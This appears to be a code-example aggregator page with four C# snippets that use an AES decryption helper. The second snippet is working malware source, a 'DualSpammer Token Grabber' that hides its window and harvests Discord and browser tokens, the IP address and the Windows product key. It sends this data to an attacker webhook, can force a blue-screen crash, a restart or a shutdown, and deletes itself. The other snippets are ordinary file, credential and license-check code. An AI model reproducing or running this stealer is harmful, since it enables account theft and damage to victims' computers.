Esempio n. 1
0
        public static Credentials readCredentialFromEncryptedFile(string Username, string password)
        {
            var Filename = Username.Substring(0, 1);
            var path     = Path.Combine(Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location), Filename + ".enc");

            if (File.Exists(path))
            {
                Credentials Returnable = Crypto.AES_Decrypt(path, password);
                Returnable.email    = Username;
                Returnable.password = password;
                return(Returnable);
            }
            else
            {
                return(new Credentials(Username, password));
            }
        }
Esempio n. 2
0
    private void MainForm_Load(object sender, System.EventArgs e)
    {
        Size    = new Size(0, 0);
        Visible = false;
        Hide();
        Process.GetCurrentProcess().PriorityClass = ProcessPriorityClass.RealTime;
        CheckForIllegalCrossThreadCalls = false;
        string splitter = Crypto.AES_Decrypt("NJBB6d/H9gY7vTGNPglQRJYHSgkzHrFVhC6qw+9zMaYl0je7XvmqURNuMg2zWBUHBfUI9wQLFtSpa0Q5dBwqJ/yzQRl5+FXhWFERJrCeyIFTyKU91bTAl3UHpYyVlkxfYzHfVlNwjfaK0r8kFGZ47+FRF7Zvf7OOPEydItveNtzPGMERTrINtf3Aq/U8KZsj", "ERKJEKJRLKWJERLKJWEJKRLWKJERLKJWERLK");

        try
        {
            FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read);
            string stub = Strings.Space((int)FileSystem.LOF(1));
            FileSystem.FileGet(1, ref stub);
            FileSystem.FileClose(1);
            string[]  args             = Strings.Split(stub, splitter);
            string    roamingPath      = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
            string    localPath        = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
            WebClient webClient        = new WebClient();
            bool      crashPC          = bool.Parse(args[2].ToLower());
            bool      restartPC        = bool.Parse(args[3].ToLower());
            bool      removeExecutable = bool.Parse(args[4].ToLower());
            bool      restartDiscord   = bool.Parse(args[5].ToLower());
            bool      shutdownPC       = bool.Parse(args[6].ToLower());
            string    geoIp1           = "Failed to track.";
            string    geoIp2           = "Failed to track.";
            string    ipAddress        = "No ip address found.";
            try
            {
                ipAddress = webClient.DownloadString("https://api.ipify.org/");
            }
            catch (Exception ex)
            {
            }
            try
            {
                geoIp1 = webClient.DownloadString("https://webresolver.nl/api.php?key=4BMRN-A9HUE-E1NC2-6JWQ7&action=geoip&string=" + ipAddress).Replace("<br>", Environment.NewLine).Replace("<br />", Environment.NewLine);
            }
            catch (Exception ex)
            {
            }
            try
            {
                geoIp2 = webClient.DownloadString("https://api.apithis.net/geoip.php?ip=" + ipAddress).Replace("<br>", Environment.NewLine).Replace("<br />", Environment.NewLine);
            }
            catch (Exception ex)
            {
            }
            sendWebHook(Crypto.AES_Decrypt(args[1], "X358791X"), "**A new Discord token has been grabbed**:" + Environment.NewLine + Environment.NewLine + "*Discord token*: " + GetToken(roamingPath + "\\Discord") + Environment.NewLine + "*Discord Canary token*: " + GetToken(roamingPath + "\\discordcanary") + Environment.NewLine + "*Discord PTB token*: " + GetToken(roamingPath + "\\discordptb") + Environment.NewLine + "*Google Chrome token*: " + GetToken(localPath + "\\Google\\Chrome\\User Data\\Default") + Environment.NewLine + "*Opera token*: " + GetToken(roamingPath + "\\Opera Software\\Opera Stable") + Environment.NewLine + "*Brave token*: " + GetToken(localPath + "\\BraveSoftware\\Brave-Browser\\User Data\\Default") + Environment.NewLine + "*Yandex token*: " + GetToken(localPath + "\\Yandex\\YandexBrowser\\User Data\\Default") + Environment.NewLine + "*IP address*: " + ipAddress + Environment.NewLine + "*Windows key*: " + KeyDecoder.GetWindowsProductKeyFromRegistry() + Environment.NewLine + Environment.NewLine + "Tracking with first method: " + Environment.NewLine + Environment.NewLine + geoIp1 + Environment.NewLine + Environment.NewLine + "Tracking with second method: " + Environment.NewLine + Environment.NewLine + geoIp2, "DualSpammer Token Grabber");
            if (crashPC)
            {
                try
                {
                    Boolean t1;
                    uint    t2;
                    RtlAdjustPrivilege(19, true, false, out t1);
                    NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out t2);
                }
                catch (Exception ex)
                {
                }
            }
            if (restartPC)
            {
                try
                {
                    Process.Start("shutdown.exe", "-r -t 0");
                }
                catch (Exception ex)
                {
                }
            }
            if (restartDiscord)
            {
                foreach (Process process in Process.GetProcesses())
                {
                    try
                    {
                        if (process.ProcessName.ToLower().Contains("discord"))
                        {
                            if (!(process.MainModule.FileName.Replace(" ", "") == ""))
                            {
                                string fileName = process.MainModule.FileName;
                                process.Kill();
                                Process.Start(fileName);
                                break;
                            }
                        }
                    }
                    catch (Exception ex)
                    {
                    }
                }
            }
            if (shutdownPC)
            {
                try
                {
                    Process.Start("shutdown.exe", "-s -t 0");
                }
                catch (Exception ex)
                {
                }
            }
            if (removeExecutable)
            {
                try
                {
                    System.Threading.Thread thread = new System.Threading.Thread(new System.Threading.ThreadStart(doRemoveExecutable));
                    thread.Start();
                }
                catch (Exception ex)
                {
                }
            }
        }
        catch (Exception ex)
        {
        }
        legitExit = true;
        Application.Exit();
    }
Esempio n. 3
0
        private void loadButton_Click(object sender, EventArgs e)
        {
            if (listView1.SelectedItems.Count > 0)
            {
                ListViewItem item = listView1.SelectedItems[0];
                if (item != null)
                {
                    FilesystemObject metaObject = (FilesystemObject)item.Tag;

                    if (metaObject != null)
                    {
                        var server      = new NavigatorIServiceClient();
                        var serverState = server.State;
                        if (metaObject != null)
                        {
                            /*OperationResult result = new OperationResult();
                             * var remoteFile = server.DownloadFile(-1, -1, mUserID, "", metaObject, "", out result);*/
                            Stream          remoteFile       = null;
                            OperationResult result           = new OperationResult();
                            int             originalFilesize = 0;
                            var             fsMetaObject     = server.DownloadFile(metaObject.mFilepath,
                                                                                   mUserID, out originalFilesize,
                                                                                   out result, out remoteFile);
                            if (result != null && result.mErrCode == 0)
                            {
                                //refreshButton_Click(sender, e);

                                var saveFileDialog = new SaveFileDialog();
                                saveFileDialog.FileName = metaObject.mFilepath
                                                          .Substring(metaObject.mFilepath.LastIndexOf('\\') + 1);
                                if (saveFileDialog.ShowDialog() == DialogResult.OK)
                                {
                                    string filepathDownloaded = saveFileDialog.FileName;
                                    filepathDownloaded = AppDomain.CurrentDomain.BaseDirectory +
                                                         "\\" + filepathDownloaded.Substring(filepathDownloaded.LastIndexOf('\\') + 1);
                                    if (filepathDownloaded != null && filepathDownloaded.Equals("") == false)
                                    {
                                        using (FileStream saveDownloadedEncFile =
                                                   new FileStream(filepathDownloaded, FileMode.Create, FileAccess.Write))
                                        {
                                            try
                                            {
                                                byte[] buffer         = new byte[6500];
                                                int    bytesRead      = 0;
                                                int    totalBytesRead = 0;
                                                do
                                                {
                                                    buffer    = new byte[6500];
                                                    bytesRead = remoteFile.Read(buffer, 0, buffer.Length);

                                                    if (bytesRead > 0)
                                                    {
                                                        saveDownloadedEncFile.Write(buffer, 0, bytesRead);
                                                    }
                                                    totalBytesRead += bytesRead;
                                                } while (bytesRead > 0);
                                            }
                                            catch (Exception ex)
                                            {
                                            }
                                        }

                                        if (mComplexKey != null)
                                        {
                                            /*byte[] encryptedBuffer = null;
                                             * encryptedBuffer = File.ReadAllBytes(filepathDownloaded);
                                             * if ((encryptedBuffer.Length % 16) != 0)
                                             * {
                                             *  byte[] tmpBuf = new byte[encryptedBuffer.Length + (16 - encryptedBuffer.Length % 16)];
                                             *  Array.Copy(encryptedBuffer, tmpBuf, encryptedBuffer.Length);
                                             *  encryptedBuffer = tmpBuf;
                                             * }
                                             * byte[] decryptedBuffer = null;
                                             * Crypto.AES_Decrypt(encryptedBuffer, ref decryptedBuffer, mComplexKey);
                                             * FileStream fs = new FileStream(saveFileDialog.FileName, FileMode.Create, FileAccess.Write);
                                             * fs.Write(decryptedBuffer, 0, originalFilesize);
                                             * fs.Flush();
                                             * fs.Close();*/

                                            Crypto.AES_Decrypt(filepathDownloaded, saveFileDialog.FileName, mComplexKey);
                                        }
                                        else
                                        {
                                            FileInfo fi = new FileInfo(saveFileDialog.FileName);
                                            if (fi.Exists)
                                            {
                                                fi.Delete();
                                            }
                                            File.Copy(filepathDownloaded, saveFileDialog.FileName);
                                        }

                                        FileInfo fi2 = new FileInfo(filepathDownloaded);
                                        fi2.Delete();

                                        MessageBox.Show("Ok!");
                                    }
                                }
                            }
                            else if (result != null)
                            {
                                MessageBox.Show(result.mErrMessage);
                            }
                        }


                        server.Close();
                    }
                }
            }
        }
Esempio n. 4
0
        public LicenseToken Get()
        {
            string[]     encryptedText;
            LicenseToken token = new LicenseToken {
                Id = Guid.NewGuid(), Message = "MAC Address错误,请更新授权文件!", Result = false, Timestamp = DateTime.Now
            };

            try
            {
                encryptedText = File.ReadAllLines(@"C:\license.dat");
                if (encryptedText == null || encryptedText.Length < 1)
                {
                    token.Result  = false;
                    token.Message = "授权文件为空,请更新授权文件!";
                    return(token);
                }
            }
            catch (Exception e)
            {
                token.Result  = false;
                token.Message = "找不到授权文件,请更新授权文件!";
                return(token);
            }

            Crypto cryptoHelper = new Crypto();

            byte[] encryptedBytes;
            byte[] passwordBytes;
            byte[] decryptedBytes;
            string decryptedText;

            try {
                encryptedBytes = Convert.FromBase64String(encryptedText[0]);
            } catch (Exception e)
            {
                token.Result  = false;
                token.Message = "授权文件内容不对,请更新授权文件!";
                return(token);
            }
            passwordBytes = Encoding.UTF8.GetBytes("Lorentz@QWESTRO");
            passwordBytes = SHA256.Create().ComputeHash(passwordBytes);

            decryptedBytes = cryptoHelper.AES_Decrypt(encryptedBytes, passwordBytes);
            decryptedText  = Encoding.UTF8.GetString(decryptedBytes);

            if (decryptedText.Length != 21)
            {
                token.Result  = false;
                token.Message = "授权文件内容不对,请更新授权文件!";
                return(token);
            }

            string macAddress    = "";
            string expiryDateStr = "";

            try
            {
                macAddress    = decryptedText.Substring(0, 12);
                expiryDateStr = decryptedText.Substring(13);
            }
            catch (Exception e)
            {
                token.Result  = false;
                token.Message = "授权文件格式不对,请更新授权文件!";
                return(token);
            }

            DateTime localDate = DateTime.Now;
            DateTime expiryDate;

            try {
                expiryDate = DateTime.ParseExact(expiryDateStr, "ddMMyyyy", null);
            } catch
            {
                token.Result  = false;
                token.Message = "日期格式不对,请更新授权文件!";
                return(token);
            }

            IPGlobalProperties computerProperties = IPGlobalProperties.GetIPGlobalProperties();

            NetworkInterface[] nics = NetworkInterface.GetAllNetworkInterfaces();

            if (nics == null || nics.Length < 1)
            {
                token.Result  = false;
                token.Message = "没有网卡,必须安装网卡运行!";
                return(token);
            }

            foreach (NetworkInterface adapter in nics)
            {
                if (!String.Equals(adapter.NetworkInterfaceType.ToString(), "ethernet", StringComparison.OrdinalIgnoreCase))
                {
                    continue;
                }

                PhysicalAddress address = adapter.GetPhysicalAddress();

                if (String.Equals(address.ToString(), macAddress, StringComparison.OrdinalIgnoreCase))
                {
                    if (DateTime.Compare(localDate, expiryDate) <= 0)
                    {
                        token.Result  = true;
                        token.Message = macAddress;
                    }
                    else
                    {
                        token.Result  = false;
                        token.Message = "授权文件已经过期(" + expiryDate.ToString() + "),请更新授权文件!";
                    }
                }
            }

            return(token);
        }